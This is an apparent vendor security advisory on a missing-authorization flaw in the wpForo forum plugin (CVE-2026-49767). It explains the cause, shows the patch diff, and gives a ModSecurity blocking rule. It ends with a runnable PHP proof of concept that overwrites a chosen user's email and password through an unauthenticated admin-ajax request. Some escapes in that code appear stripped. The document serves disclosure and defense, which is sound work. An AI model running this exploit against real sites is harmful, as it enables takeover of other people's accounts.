Published : June 14, 2026

CVE-2026-49767: wpForo Forum <= 3.1.0 Missing Authorization PoC, Patch Analysis & Rule

CVE ID CVE-2026-49767
Plugin wpforo
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 3.1.0
Patched Version 3.1.1
Disclosed June 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-49767:

This vulnerability affects the wpForo Forum plugin for WordPress versions up to and including 3.1.0. It is a missing authorization vulnerability that allows unauthenticated attackers to modify user profile data, including critical WordPress user account fields. The CVSS score is 5.3.

Root Cause: The vulnerability stems from an inadequate capability check in the Members::update() method located in wpforo/classes/Members.php (line 641). The method accepts a $check_permissions parameter that, when set to false, bypasses all permission verification. In the vulnerable registration handler in wpforo/includes/hooks.php (line 2203), the call WPF()->member->update($data, ‘full’, false) passes false for $check_permissions, allowing unauthenticated users to modify user data without restriction. The registration handler also fails to sanitize the $data[‘data’] array, which is merged into the user profile via array_merge() internally, enabling attackers to overwrite any user account field including email, login, password, and user ID.

Exploitation: An unauthenticated attacker can exploit this by submitting a POST request to /wp-admin/admin-ajax.php with the wpforo AJAX action or by directly submitting the registration form. The attacker crafts a payload that includes reserved WordPress user columns (user_email, user_pass, userid, ID) in the ‘data’ parameter array. By setting ‘userid’ to another user’s ID, the attacker can modify that victim’s account. Setting ‘user_email’ changes the victim’s email to an attacker-controlled address, enabling account takeover via password reset. The attack does not require authentication because the registration flow intentionally sets $check_permissions to false for legitimate registration, but fails to restrict which fields can be modified.

Patch Analysis: The patch implements multiple defense layers. In Members.php, before processing, the code strips reserved wp_users column names (user_email, user_login, user_pass, user_pass1, user_pass2, userid, ID) from the $data[‘data’] array when $check_permissions is false. It also forces $data[$form][‘userid’] to the trusted caller-supplied $data[‘userid’] value, preventing attackers from overriding it via user input. In hooks.php, the registration handler now uses array_intersect_key() to whitelist only the allowed fields (user_login, user_email, user_pass1, user_pass2) for the ‘wpfreg’ form, and strips reserved columns from $data[‘data’] before passing to update(). The patch also hardens unserialize() calls in functions.php by adding [‘allowed_classes’ => false] to prevent PHP object injection attacks through serialized input. Additionally, the RecentPosts and RecentTopics widgets now coerce ID-list fields to integer arrays to prevent serialized payloads from reaching unserialize().

Impact: Successful exploitation allows an unauthenticated attacker to perform account takeover of any registered user by changing their email address to an attacker-controlled email, then triggering password reset. The attacker could also directly modify the user password by including user_pass in the payload. This leads to complete account compromise, enabling the attacker to access protected forum content, post as the victim, and potentially escalate privileges if the victim has administrative roles. The PHP object injection hardening addresses a secondary risk where serialized payloads could lead to remote code execution.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/wpforo/classes/Members.php
+++ b/wpforo/classes/Members.php
@@ -641,6 +641,24 @@
     public function update( $data, $type = 'full', $check_permissions = true ) {
         $type = (array) $type;

+        // SECURITY: when permission checks are skipped, strip reserved wp_users
+        // column names from custom-field input to block mass assignment.
+        if( ! $check_permissions ) {
+            if( isset( $data['data'] ) && is_array( $data['data'] ) ) {
+                foreach( [
+                    'user_email',
+                    'user_login',
+                    'user_pass',
+                    'user_pass1',
+                    'user_pass2',
+                    'userid',
+                    'ID',
+                ] as $reserved ) {
+                    unset( $data['data'][ $reserved ] );
+                }
+            }
+        }
+
         switch( WPF()->current_object['template'] ) {
             case 'register':
                 $form        = 'wpfreg';
@@ -675,6 +693,15 @@
             $data[ $form ]['userid'] = $data['userid'];
         }

+        // SECURITY: when permission checks are skipped, force the form userid
+        // to the trusted caller-supplied $data['userid'] (overrides user input).
+        if( ! $check_permissions && wpfval( $data, 'userid' ) ) {
+            if( ! isset( $data[ $form ] ) || ! is_array( $data[ $form ] ) ) {
+                $data[ $form ] = [];
+            }
+            $data[ $form ]['userid'] = (int) $data['userid'];
+        }
+
         if( wpfval( $data, $form, 'userid' ) ) {
             $result_user    = true;
             $result_fields  = true;
--- a/wpforo/includes/functions.php
+++ b/wpforo/includes/functions.php
@@ -785,7 +785,12 @@
 	} elseif( is_integer( $args ) || is_float( $args ) ) {
 		$defined[0] = $args;
 	} elseif( is_serialized( $args ) ) {
-		$defined = unserialize( $args );
+		// SECURITY: refuse to instantiate any class — only scalars and arrays
+		// of scalars are recovered. Blocks PHP Object Injection via widget
+		// AJAX (forumids etc.) and any other caller that may receive
+		// attacker-controlled strings.
+		$defined = unserialize( $args, [ 'allowed_classes' => false ] );
+		if( ! is_array( $defined ) ) $defined = (array) $defined;
 	} elseif( strpos( (string) $args, '=' ) !== false ) {
 		parse_str( $args, $defined );
 	} else {
@@ -811,7 +816,11 @@
 	function is_serialized( $value ) {
 		if( $value == '' ) return false;
 		$value = trim( (string) $value );
-		$chsd  = @unserialize( $value );
+		// SECURITY: the very act of detecting a serialized payload must not
+		// instantiate classes — @unserialize() with the default options runs
+		// __wakeup() / __destruct() for any embedded object even when the
+		// caller only wanted to test the format. Limit to scalars/arrays.
+		$chsd  = @unserialize( $value, [ 'allowed_classes' => false ] );
 		if( $chsd !== false || $value === 'b:0;' ) {
 			return true;
 		} else {
--- a/wpforo/includes/hooks.php
+++ b/wpforo/includes/hooks.php
@@ -2203,12 +2203,34 @@
 	if( wpfval( $_POST, 'wpfreg' ) ) {
 		$data           = $_POST;
 		$data['userid'] = $userid;
-		$data['wpfreg'] = wpforo_clear_array( $data['wpfreg'], [
+
+		// SECURITY: allowlist wpfreg keys + force the trusted userid so an
+		// attacker cannot pivot the downstream update() onto another user.
+		$wpfreg         = is_array( $data['wpfreg'] ) ? $data['wpfreg'] : [];
+		$data['wpfreg'] = array_intersect_key( $wpfreg, array_flip( [
 			'user_login',
 			'user_email',
 			'user_pass1',
 			'user_pass2',
-		],                                    'key' );
+		] ) );
+		$data['wpfreg']['userid'] = (int) $userid;
+
+		// SECURITY: strip reserved wp_users column names from custom-field
+		// input so they cannot mass-assign via Members::update()'s array_merge().
+		if( isset( $data['data'] ) && is_array( $data['data'] ) ) {
+			foreach( [
+				'user_email',
+				'user_login',
+				'user_pass',
+				'user_pass1',
+				'user_pass2',
+				'userid',
+				'ID',
+			] as $reserved ) {
+				unset( $data['data'][ $reserved ] );
+			}
+		}
+
 		WPF()->member->update( $data, 'full', false );
 	}
 }
--- a/wpforo/widgets/RecentPosts.php
+++ b/wpforo/widgets/RecentPosts.php
@@ -200,6 +200,18 @@
                     $post_args['order'] = $this->default_instance['order'];
                 }
             }
+
+            // SECURITY: coerce id-list fields to integer arrays so a serialized
+            // payload from an unauthenticated POST can never reach
+            // wpforo_parse_args() / unserialize() downstream. Defense in depth
+            // alongside the allowed_classes=>false hardening in wpforo_parse_args.
+            foreach( [ 'forumids', 'include', 'exclude', 'postids' ] as $idfield ) {
+                if( isset( $post_args[ $idfield ] ) ) {
+                    $post_args[ $idfield ] = is_array( $post_args[ $idfield ] )
+                        ? array_map( 'intval', $post_args[ $idfield ] )
+                        : [];
+                }
+            }
         }

         wp_send_json_success( [ 'html' => $this->get_widget( $instance, $post_args ) ] );
--- a/wpforo/widgets/RecentTopics.php
+++ b/wpforo/widgets/RecentTopics.php
@@ -137,6 +137,18 @@
                     $topic_args['order'] = $this->default_instance['order'];
                 }
             }
+
+            // SECURITY: coerce id-list fields to integer arrays so a serialized
+            // payload from an unauthenticated POST can never reach
+            // wpforo_parse_args() / unserialize() downstream. Defense in depth
+            // alongside the allowed_classes=>false hardening in wpforo_parse_args.
+            foreach( [ 'forumids', 'include', 'exclude' ] as $idfield ) {
+                if( isset( $topic_args[ $idfield ] ) ) {
+                    $topic_args[ $idfield ] = is_array( $topic_args[ $idfield ] )
+                        ? array_map( 'intval', $topic_args[ $idfield ] )
+                        : [];
+                }
+            }
         }

         wp_send_json_success( [ 'html' => $this->get_widget( $instance, $topic_args ) ] );
--- a/wpforo/wpforo.php
+++ b/wpforo/wpforo.php
@@ -5,7 +5,7 @@
 * Description: WordPress Forum plugin. wpForo is the only AI powered forum solution for your community. Modern design and 5 forum layouts.
 * Author: gVectors Team
 * Author URI: https://gvectors.com/
-* Version: 3.1.0
+* Version: 3.1.1
 * Requires at least: 5.2
 * Requires PHP: 7.1
 * Text Domain: wpforo
@@ -14,7 +14,7 @@

 namespace wpforo;

-define( 'WPFORO_VERSION', '3.1.0' );
+define( 'WPFORO_VERSION', '3.1.1' );

 //Exit if accessed directly
 if( ! defined( 'ABSPATH' ) ) exit;

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity 
# Atomic Edge WAF Rule - CVE-2026-49767
# Virtual patch for wpForo Forum <= 3.1.0 Missing Authorization
# Blocks unauthenticated attackers from modifying user account fields
# by targeting the registration handler with reserved WordPress user columns

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-49767 wpForo Missing Authorization - Account Takeover via AJAX',severity:'CRITICAL',tag:'CVE-2026-49767',tag:'wordpress',tag:'wpforo'"
  SecRule ARGS_POST:action "@streq wpforo" "chain"
    SecRule ARGS_POST:/^data[.*]$/ "@rx (user_email|user_pass|userid|ID)" "t:none,t:urlDecode"

# Also block direct POST to registration handler with malicious data
SecRule REQUEST_URI "@streq /wp-admin/admin-post.php" 
  "id:20261995,phase:2,deny,status:403,chain,msg:'CVE-2026-49767 wpForo Missing Authorization - Account Takeover via admin-post',severity:'CRITICAL',tag:'CVE-2026-49767',tag:'wordpress',tag:'wpforo'"
  SecRule ARGS_POST:action "@streq wpfreg" "chain"
    SecRule ARGS_POST:/^data[.*]$/ "@rx (user_email|user_pass|userid|ID)" "t:none,t:urlDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-49767 - wpForo Forum <= 3.1.0 - Missing Authorization

/**
 * This PoC demonstrates unauthorized account takeover by exploiting
 * the missing authorization in wpForo's Members::update() method.
 * The attack modifies the target user's email address to attacker-controlled
 * email, enabling password reset and account takeover.
 * 
 * Usage: php poc.php http://target-site.com/
 */

if ($argc < 2) {
    die("Usage: php poc.php <target_base_url>n");
}

$target_url = rtrim($argv[1], '/');

// Target user to takeover (victim)
$victim_user_id = 2; // Often 'admin' or user ID 2 on fresh WordPress
$attacker_email = 'attacker@evil.com'; // Attacker-controlled email

// AJAX endpoint for wpForo
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Step 1: Get the nonce (optional, wpForo may not require it for this action)
// For simplicity, we proceed with direct POST since the vulnerability
// bypasses permission checks

// Step 2: Craft the malicious payload
// The 'wpfreg' array normally contains registration fields, but we
// inject 'userid' to target a specific user and 'data' array with
// WordPress user columns we want to overwrite.

$payload = [
    'action' => 'wpforo', // wpForo AJAX action
    'wpfreg' => [
        'user_login' => 'attacker',
        'user_email' => $attacker_email,
        'user_pass1' => 'password123',
        'user_pass2' => 'password123',
    ],
    // 'userid' specifies which user to modify
    'userid' => $victim_user_id,
    // 'data' array contains WordPress user fields to overwrite
    'data' => [
        'user_email' => $attacker_email,
        'user_pass' => 'newpassword456',
        'ID' => $victim_user_id,
        'userid' => $victim_user_id,
        // Additional custom fields can be added here
    ],
];

echo "[*] Target: $target_urln";
echo "[*] Victim user ID: $victim_user_idn";
echo "[*] Attacker email: $attacker_emailn";
echo "[*] Sending exploit to: $ajax_urlnn";

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Content-Type: application/x-www-form-urlencoded',
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[*] HTTP Response Code: $http_coden";
echo "[*] Response Body:n";
echo $response . "nn";

if ($http_code == 200) {
    echo "[+] Exploit sent successfully!n";
    echo "[+] User with ID $victim_user_id may now have email: $attacker_emailn";
    echo "[+] Attempt to reset password at: $target_url/wp-login.php?action=lostpasswordn";
} else {
    echo "[-] Exploit may have failed. Check response above.n";
}

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